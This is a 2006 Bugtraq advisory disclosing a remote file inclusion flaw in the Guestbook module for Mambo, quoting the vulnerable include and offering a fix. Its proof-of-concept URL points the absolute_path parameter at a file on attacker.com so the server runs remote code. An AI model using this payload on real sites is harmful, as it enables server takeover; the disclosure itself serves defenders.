bugtraq - Guestbook Mambo Module <== v1.3.0 Multiple Remote File Include Vulnerabilities

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Date: 28 Jul 2006 01:47:20 -0000
From: matdhule@...il.com
To: bugtraq@...urityfocus.com
Subject: Guestbook Mambo Module <== v1.3.0 Multiple Remote File Include
 Vulnerabilities

---------------------------------------------------------------------------
Guestbook Mambo Module <== v1.3.0 Multiple Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Author          : Matdhule
Date            : July 27th 2006
Location        : Indonesia, Jakarta
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Guestbook Module for Mambo

Application     : Guestbook Module
version         : 1.3.0

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~

in folder components we found vulnerability script com_guestbook.php.

-----------------------com_guestbook.php----------------------
<?php

include($absolute_path.'/language/'.$lang.'/lang_com_guestbook.php');

    require ("".$sGuestbookTemplate_."/com_guestbook.php");
    $guestbook = new guestbook();

----------------------------------------------------------

Variables $absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://[target]/[path]/components/com_guestbook.php?absolute_path=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

Sanitize variabel $absolute_path in com_guestbook.php


---------------------------------------------------------------------------
Shoutz:
~~~~~~
~ solpot a.k.a chris, J4mbi  H4ck3r, thx for the hacking lesson :)
~ y3dips, the_day, moby, comex, z3r0byt3, c-a-s-e, S`to, lirva32, anonymous
~ bius, lappets, ghoz, t4mbun_hacker, NpR, h4ntu, thama, Blue|Spy
~ newbie_hacker@...oogroups.com, jasakom_perjuangan@...oogroups.com
~ #n0b0dy (Solpotcrew Comunity) #jambihackerlink #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~

     matdhule[at]gmail[dot]com
     
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